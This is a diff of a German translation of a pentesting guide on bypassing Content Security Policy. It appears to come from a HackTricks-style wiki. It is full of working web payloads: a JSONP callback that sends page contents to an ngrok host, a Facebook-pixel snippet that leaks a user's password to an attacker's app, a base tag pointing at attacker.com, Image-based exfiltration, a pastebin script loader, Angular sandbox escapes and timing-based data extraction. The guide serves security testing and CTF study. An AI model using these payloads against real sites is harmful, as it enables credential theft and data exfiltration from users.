-Darüber hinaus, selbst wenn Sie einen **JS-Code in** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wäre das nicht genug, da einige Server wie der Apache-Server den **MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **Javascript**-Code in etwas, das ein Bild sein sollte, **nicht ausführen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache nicht weiß**, was die _**.wave**_ Erweiterung ist, daher wird sie nicht mit einem **MIME-Typ wie audio/** bedient.
+Darüber hinaus, selbst wenn Sie einen **JS-Code innerhalb** einer Datei mit einer vom Server akzeptierten Erweiterung (wie: _script.png_) hochladen könnten, wird dies nicht ausreichen, da einige Server wie der Apache-Server **den MIME-Typ der Datei basierend auf der Erweiterung auswählen** und Browser wie Chrome **die Ausführung von Javascript**-Code in etwas, das ein Bild sein sollte, **ablehnen**. "Hoffentlich" gibt es Fehler. Zum Beispiel habe ich von einem CTF gelernt, dass **Apache die _**.wave**_-Erweiterung nicht kennt, daher wird sie nicht mit einem **MIME-Typ wie audio/*** ausgeliefert.
 
-Von hier aus, wenn Sie eine XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das richtige Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
+Von hier aus, wenn Sie ein XSS und einen Datei-Upload finden und es Ihnen gelingt, eine **falsch interpretierte Erweiterung** zu finden, könnten Sie versuchen, eine Datei mit dieser Erweiterung und dem Inhalt des Skripts hochzuladen. Oder, wenn der Server das korrekte Format der hochgeladenen Datei überprüft, erstellen Sie ein Polyglot ([einige Polyglot-Beispiele hier](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
-Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager die Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt.
+Wenn es nicht möglich ist, JS zu injizieren, könnten Sie dennoch versuchen, beispielsweise Anmeldeinformationen **durch das Injizieren einer Formularaktion** zu exfiltrieren (und vielleicht erwarten, dass Passwortmanager Passwörter automatisch ausfüllen). Sie finden ein [**Beispiel in diesem Bericht**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Beachten Sie auch, dass `default-src` keine Formularaktionen abdeckt.
 
 ### Third Party Endpoints + ('unsafe-eval')
 
 > [!WARNING]
-> Für einige der folgenden Payloads ist **`unsafe-eval` nicht einmal erforderlich**.
+> Für einige der folgenden Payloads **ist `unsafe-eval` nicht einmal erforderlich**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
-Laden Sie eine verwundbare Version von Angular und führen Sie beliebiges JS aus:
+Laden Sie eine verwundbare Version von Angular und führen Sie beliebigen JS aus:
 ```xml
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
 <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([siehe diesen Beitrag](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben ([schau dir diesen Beitrag an](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!NOTE]
-> Der Beitrag zeigt, dass Sie **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** können, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
+> Der Beitrag zeigt, dass du **alle** **Bibliotheken** von `cdn.cloudflare.com` (oder einem anderen erlaubten JS-Bibliotheks-Repo) **laden**, alle hinzugefügten Funktionen aus jeder Bibliothek ausführen und **überprüfen** kannst, **welche Funktionen aus welchen Bibliotheken das `window`-Objekt zurückgeben**.
 ```markup
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@@ -284,9 +284,9 @@ Szenarien wie dieses, in denen `script-src` auf `self` und eine bestimmte, auf d
 https://www.youtube.com/oembed?callback=alert;
 <script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen der CSP verschiedener Websites.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **enthält einsatzbereite JSONP-Endpunkte zum Umgehen von CSP auf verschiedenen Websites.**
 
-Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch Weiterleitungen vertrauenswürdig sind.
+Die gleiche Schwachstelle tritt auf, wenn der **vertrauenswürdige Endpunkt eine Open Redirect enthält**, da, wenn der ursprüngliche Endpunkt vertrauenswürdig ist, auch die Weiterleitungen vertrauenswürdig sind.
 
 ### Missbrauch durch Dritte
 
@@ -303,7 +303,7 @@ Wie im [folgenden Beitrag](https://sensepost.com/blog/2023/dress-code-the-talk/#
 | Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 
-Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen. 
+Wenn Sie eine der erlaubten Domains in der CSP Ihres Ziels finden, besteht die Möglichkeit, dass Sie die CSP umgehen können, indem Sie sich bei dem Drittanbieterdienst registrieren und entweder Daten an diesen Dienst exfiltrieren oder Code ausführen.
 
 Zum Beispiel, wenn Sie die folgende CSP finden:
 ```
@@ -319,17 +319,17 @@ Sie sollten in der Lage sein, Daten zu exfiltrieren, ähnlich wie es immer mit [
 2. Erstellen Sie eine neue "Facebook Login"-App und wählen Sie "Website".
 3. Gehen Sie zu "Einstellungen -> Grundlegend" und holen Sie sich Ihre "App-ID".
 4. Auf der Zielseite, von der Sie Daten exfiltrieren möchten, können Sie Daten direkt über das Facebook SDK-Gadget "fbq" durch ein "customEvent" und die Datenlast exfiltrieren.
-5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL gefunden werden könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
+5. Gehen Sie zu Ihrem App "Event Manager" und wählen Sie die von Ihnen erstellte Anwendung aus (beachten Sie, dass der Event-Manager in einer URL zu finden sein könnte, die ähnlich aussieht wie: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. Wählen Sie die Registerkarte "Testereignisse", um die von "Ihrer" Website gesendeten Ereignisse zu sehen.
 
-Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und um ein benutzerdefiniertes Ereignis wie dieses auszulösen:
+Führen Sie dann auf der Seite des Opfers den folgenden Code aus, um das Facebook-Tracking-Pixel zu initialisieren, das auf die App-ID des Facebook-Entwicklerkontos des Angreifers zeigt, und geben Sie ein benutzerdefiniertes Ereignis wie folgt aus:
 ```JavaScript
 fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
 fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele weitere Möglichkeiten, wie Sie diese missbrauchen können. Siehe den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
+Was die anderen sieben Drittanbieter-Domains betrifft, die in der vorherigen Tabelle angegeben sind, gibt es viele andere Möglichkeiten, wie Sie diese missbrauchen können. Verweisen Sie auf den vorherigen [Blogbeitrag](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) für zusätzliche Erklärungen zu anderen Drittanbieter-Missbräuchen.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
@@ -359,16 +359,16 @@ Online-Beispiel:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
 
 ### fehlende **base-uri**
 
-Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) durchzuführen.
+Wenn die **base-uri**-Richtlinie fehlt, können Sie dies ausnutzen, um eine [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html) durchzuführen.
 
-Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und damit eine XSS zu erreichen.**\
+Darüber hinaus, wenn die **Seite ein Skript mit einem relativen Pfad lädt** (wie `<script src="/js/app.js">`) unter Verwendung eines **Nonce**, können Sie den **base** **tag** ausnutzen, um das Skript von **Ihrem eigenen Server zu laden und eine XSS zu erreichen.**\
 Wenn die anfällige Seite mit **httpS** geladen wird, verwenden Sie eine httpS-URL im Basis-Tag.
 ```html
 <base href="https://www.attacker.com/" />
 ```
 ### AngularJS-Ereignisse
 
-Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Array von Objekten enthält, die in der Ausführungskette des Ereignisses beteiligt sind, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.
+Eine spezifische Richtlinie, bekannt als Content Security Policy (CSP), kann JavaScript-Ereignisse einschränken. Dennoch führt AngularJS benutzerdefinierte Ereignisse als Alternative ein. Innerhalb eines Ereignisses stellt AngularJS ein einzigartiges Objekt `$event` zur Verfügung, das auf das native Browser-Ereignisobjekt verweist. Dieses `$event`-Objekt kann ausgenutzt werden, um die CSP zu umgehen. Bemerkenswerterweise besitzt das `$event/event`-Objekt in Chrome ein `path`-Attribut, das ein Objektarray enthält, das in der Ausführungskette des Ereignisses beteiligt ist, wobei das `window`-Objekt stets am Ende positioniert ist. Diese Struktur ist entscheidend für Sandbox-Umgehungstaktiken.
 
 Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich, über es zu iterieren und das terminale Element (das `window`-Objekt) zu nutzen, um eine globale Funktion wie `alert()` auszulösen. Der unten demonstrierte Codeausschnitt verdeutlicht diesen Prozess:
 ```xml
@@ -377,7 +377,7 @@ Durch die Weiterleitung dieses Arrays an den `orderBy`-Filter ist es möglich,
 ```
 Dieser Ausschnitt hebt die Verwendung der `ng-focus`-Direktive hervor, um das Ereignis auszulösen, wobei `$event.path|orderBy` verwendet wird, um das `path`-Array zu manipulieren, und das `window`-Objekt genutzt wird, um die `alert()`-Funktion auszuführen, wodurch `document.cookie` offengelegt wird.
 
-**Finde andere Angular-Bypässe in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+**Finden Sie weitere Angular-Bypässe in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 
 ### AngularJS und genehmigte Domain
 ```
@@ -395,11 +395,11 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 ```
 Andere JSONP beliebige Ausführung Endpunkte können [**hier**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) gefunden werden (einige von ihnen wurden gelöscht oder behoben)
 
-### Umgehung durch Umleitung
+### Bypass über Umleitung
 
-Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einer anderen Herkunft führt, die nicht erlaubt ist, wird sie weiterhin fehlschlagen.
+Was passiert, wenn CSP auf serverseitige Umleitungen trifft? Wenn die Umleitung zu einem anderen Ursprung führt, der nicht erlaubt ist, wird sie weiterhin fehlschlagen.
 
-Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung jedoch, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
+Laut der Beschreibung in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) kann die Umleitung, wenn sie zu einem anderen Pfad führt, die ursprünglichen Einschränkungen umgehen.
 
 Hier ist ein Beispiel:
 ```html
@@ -419,17 +419,17 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 </body>
 </html>
 ```
-Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl `/test` als auch `/a/test` Skripte von CSP blockiert.
+Wenn CSP auf `https://www.google.com/a/b/c/d` gesetzt ist, werden sowohl die Skripte `/test` als auch `/a/test` von CSP blockiert.
 
-Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig zu `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
+Die endgültige `http://localhost:5555/301` wird jedoch **serverseitig auf `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` umgeleitet**. Da es sich um eine Umleitung handelt, wird der **Pfad nicht berücksichtigt**, und das **Skript kann geladen werden**, wodurch die Pfadbeschränkung umgangen wird.
 
 Mit dieser Umleitung wird selbst dann, wenn der Pfad vollständig angegeben ist, weiterhin umgangen.
 
-Daher ist die beste Lösung sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.
+Daher ist die beste Lösung, sicherzustellen, dass die Website keine offenen Umleitungsanfälligkeiten hat und dass es keine Domains gibt, die in den CSP-Regeln ausgenutzt werden können.
 
-### Umgehung von CSP mit schwebendem Markup
+### Bypass CSP mit schwebendem Markup
 
-Lies [wie hier](../dangling-markup-html-scriptless-injection/).
+Lies [wie hier](../dangling-markup-html-scriptless-injection/index.html).
 
 ### 'unsafe-inline'; img-src \*; über XSS
 ```
@@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Von: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Sie könnten auch diese Konfiguration missbrauchen, um **JavaScript-Code, der in ein Bild eingefügt ist, zu laden**. Wenn die Seite beispielsweise das Laden von Bildern von Twitter erlaubt, könnten Sie ein **spezielles Bild erstellen**, es auf Twitter **hochladen** und die "**unsafe-inline**" nutzen, um einen JS-Code (wie bei einem regulären XSS) auszuführen, der das **Bild** **lädt**, den **JS** daraus **extrahiert** und **ausführt**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Mit Service Workern
 
@@ -478,9 +478,9 @@ Beispiel: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%
 ### img-src \*; via XSS (iframe) - Zeitangriff
 
 Beachten Sie das Fehlen der Direktive `'unsafe-inline'`\
-Diesmal können Sie das Opfer **eine Seite laden** lassen, die **unter Ihrer Kontrolle** steht, über **XSS** mit einem `<iframe`. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
+Diesmal können Sie das Opfer dazu bringen, eine Seite in **Ihrer Kontrolle** über **XSS** mit einem `<iframe` zu **laden**. Diesmal werden Sie das Opfer dazu bringen, auf die Seite zuzugreifen, von der Sie Informationen extrahieren möchten (**CSRF**). Sie können nicht auf den Inhalt der Seite zugreifen, aber wenn Sie irgendwie **die Zeit kontrollieren können, die die Seite zum Laden benötigt**, können Sie die Informationen extrahieren, die Sie benötigen.
 
-Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird** über SQLi, die **Antwort** benötigt **mehr Zeit** aufgrund der Schlaf-Funktion. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
+Diesmal wird ein **Flag** extrahiert, wann immer ein **Zeichen korrekt erraten wird**. Über SQLi benötigt die **Antwort** aufgrund der Schlaf-Funktion **mehr Zeit**. Dann werden Sie in der Lage sein, das Flag zu extrahieren:
 ```html
 <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@@ -540,13 +540,13 @@ console.log(prefix)
 run()
 </script>
 ```
-### Über Bookmarklets
+### Via Bookmarklets
 
-Dieser Angriff würde einige soziale Ingenieurkunst erfordern, bei der der Angreifer **den Benutzer überzeugt, einen Link über das Bookmarklet des Browsers zu ziehen und abzulegen**. Dieses Bookmarklet würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
+Dieser Angriff würde einige soziale Ingenieurtechniken erfordern, bei denen der Angreifer **den Benutzer überzeugt, einen Link über das Lesezeichen des Browsers zu ziehen und abzulegen**. Dieses Lesezeichen würde **bösartigen JavaScript**-Code enthalten, der beim Ziehen und Ablegen oder Klicken im Kontext des aktuellen Webfensters ausgeführt wird, **CSP umgeht und es ermöglicht, sensible Informationen** wie Cookies oder Tokens zu stehlen.
 
 Für weitere Informationen [**prüfen Sie den ursprünglichen Bericht hier**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 
-### CSP-Umgehung durch Einschränkung von CSP
+### CSP-Bypass durch Einschränkung von CSP
 
 In [**diesem CTF-Bericht**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) wird CSP umgangen, indem in ein erlaubtes iframe eine restriktivere CSP injiziert wird, die das Laden einer bestimmten JS-Datei verbietet, die dann über **Prototype Pollution** oder **DOM Clobbering** es ermöglichte, **ein anderes Skript zu missbrauchen, um ein beliebiges Skript zu laden**.
 
@@ -557,7 +557,7 @@ src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 ```
 In [**diesem CTF-Bericht**](https://github.com/aszx87410/ctf-writeups/issues/48) war es möglich, über **HTML-Injection** eine **CSP** weiter zu **beschränken**, sodass ein Skript, das CSTI verhinderte, deaktiviert wurde und daher die **Schwachstelle ausnutzbar wurde.**\
-CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und inline Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der ihren **Nonce** erlaubt, und **bestimmte inline Skripte über sha aktiviert werden:**
+CSP kann restriktiver gestaltet werden, indem **HTML-Meta-Tags** verwendet werden und Inline-Skripte können deaktiviert werden, indem der **Eintrag** entfernt wird, der deren **Nonce** erlaubt, und **bestimmte Inline-Skripte über sha aktiviert werden:**
 ```html
 <meta
 http-equiv="Content-Security-Policy"
@@ -568,7 +568,7 @@ content="script-src 'self'
 ```
 ### JS-Exfiltration mit Content-Security-Policy-Report-Only
 
-Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, der einen **von Ihnen kontrollierten Wert** hat (vielleicht aufgrund eines CRLF), könnten Sie ihn auf Ihren Server verweisen lassen. Wenn Sie den **JS-Inhalt**, den Sie exfiltrieren möchten, mit **`<script>`** umschließen und da höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.
+Wenn es Ihnen gelingt, den Server dazu zu bringen, mit dem Header **`Content-Security-Policy-Report-Only`** zu antworten, der einen **von Ihnen kontrollierten Wert** hat (vielleicht aufgrund eines CRLF), könnten Sie ihn auf Ihren Server verweisen. Wenn Sie den **JS-Inhalt**, den Sie exfiltrieren möchten, mit **`<script>`** umschließen und da höchstwahrscheinlich `unsafe-inline` von der CSP nicht erlaubt ist, wird dies einen **CSP-Fehler auslösen** und ein Teil des Skripts (das die sensiblen Informationen enthält) wird vom `Content-Security-Policy-Report-Only` an den Server gesendet.
 
 Für ein Beispiel [**sehen Sie sich diesen CTF-Bericht an**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 
@@ -577,13 +577,13 @@ Für ein Beispiel [**sehen Sie sich diesen CTF-Bericht an**](https://github.com/
 document.querySelector("DIV").innerHTML =
 '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
 ```
-### Informationen mit CSP und Iframe leaken
+### Leaking Information with CSP and Iframe
 
 - Ein `iframe` wird erstellt, der auf eine URL zeigt (nennen wir sie `https://example.redirect.com`), die von CSP erlaubt ist.
-- Diese URL leitet dann zu einer geheimen URL weiter (z.B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP.
+- Diese URL leitet dann zu einer geheimen URL weiter (z. B. `https://usersecret.example2.com`), die **nicht erlaubt** ist von CSP.
 - Durch das Abhören des `securitypolicyviolation`-Ereignisses kann man die `blockedURI`-Eigenschaft erfassen. Diese Eigenschaft offenbart die Domain der blockierten URI und leakt die geheime Domain, zu der die ursprüngliche URL weitergeleitet wurde.
 
-Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellem Leck von sensiblen Informationen aufgrund undefinierten Verhaltens führen kann.
+Es ist interessant zu beachten, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen im Umgang mit iframes in Bezug auf CSP haben, was zu potenziellen Lecks sensibler Informationen aufgrund undefinierten Verhaltens führen kann.
 
 Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain aus unbekannten Zeichen besteht, kann man iterativ verschiedene Subdomains testen, indem man die CSP-Direktive ändert, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Snippet, das zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:
 ```markdown
@@ -601,16 +601,16 @@ Trick von [**hier**](https://ctftime.org/writeup/29310).
 
 Laut der [**letzten Technik, die in diesem Video kommentiert wurde**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), führt das Senden von zu vielen Parametern (1001 GET-Parameter, obwohl man es auch mit POST-Parametern und mehr als 20 Dateien tun kann) dazu, dass jeder definierte **`header()`** im PHP-Webcode **nicht gesendet wird**, aufgrund des Fehlers, den dies auslösen wird.
 
-### Überlastung des PHP-Antwortpuffers
+### PHP-Antwortpufferüberlastung
 
 PHP ist bekannt dafür, die Antwort standardmäßig auf **4096** Bytes zu **puffern**. Daher, wenn PHP eine Warnung anzeigt, wird die **Antwort** **gesendet**, **bevor** der **CSP-Header** gesendet wird, was dazu führt, dass der Header ignoriert wird.\
 Die Technik besteht also im Wesentlichen darin, den **Antwortpuffer mit Warnungen zu füllen**, sodass der CSP-Header nicht gesendet wird.
 
-Idee von [**diesem Writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
+Idee von [**diesem Bericht**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 
 ### Fehlerseite umschreiben
 
-Laut [**diesem Writeup**](https://blog.ssrf.kr/69) scheint es möglich gewesen zu sein, einen CSP-Schutz zu umgehen, indem eine Fehlerseite (potenziell ohne CSP) geladen und deren Inhalt umgeschrieben wurde.
+Von [**diesem Bericht**](https://blog.ssrf.kr/69) sieht es so aus, als wäre es möglich gewesen, einen CSP-Schutz zu umgehen, indem man eine Fehlerseite (möglicherweise ohne CSP) lädt und deren Inhalt umschreibt.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@@ -625,9 +625,9 @@ SOME ist eine Technik, die ein XSS (oder stark eingeschränktes XSS) **in einem
 ../xss-cross-site-scripting/some-same-origin-method-execution.md
 {{#endref}}
 
-Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).
+Darüber hinaus hat **wordpress** einen **JSONP**-Endpunkt in `/wp-json/wp/v2/users/1?_jsonp=data`, der die **Daten** im Output **reflektiert** (mit der Einschränkung auf Buchstaben, Zahlen und Punkte).
 
-Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachten Sie, dass dieses **Script** **geladen** wird, da es **von 'self'** **erlaubt** ist. Darüber hinaus, und weil WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu geben, ein neues Plugin zu installieren...\
+Ein Angreifer kann diesen Endpunkt ausnutzen, um einen **SOME-Angriff** gegen WordPress zu **generieren** und ihn in `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` einzubetten. Beachten Sie, dass dieses **Script** **geladen** wird, da es **von 'self'** **erlaubt** ist. Darüber hinaus, und da WordPress installiert ist, könnte ein Angreifer den **SOME-Angriff** über den **anfälligen** **Callback**-Endpunkt ausnutzen, der die CSP **umgeht**, um einem Benutzer mehr Privilegien zu gewähren, ein neues Plugin zu installieren...\
 Für weitere Informationen darüber, wie man diesen Angriff durchführt, siehe [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 
 ## CSP Exfiltration Bypasses
@@ -674,13 +674,13 @@ Um dies zu vermeiden, kann der Server den HTTP-Header senden:
 X-DNS-Prefetch-Control: off
 ```
 > [!NOTE]
-> Offensichtlich funktioniert diese Technik nicht in headless-Browsern (Bots)
+> Offensichtlich funktioniert diese Technik nicht in headless Browsers (Bots)
 
 ### WebRTC
 
 Auf mehreren Seiten kann man lesen, dass **WebRTC die `connect-src`-Richtlinie** der CSP nicht überprüft.
 
-Tatsächlich kann man _leak_ Informationen mit einer _DNS-Anfrage_. Schau dir diesen Code an:
+Tatsächlich kann man _leak_ Informationen über eine _DNS-Anfrage_. Schau dir diesen Code an:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })

src/pentesting-web/csrf-cross-site-request-forgery.md

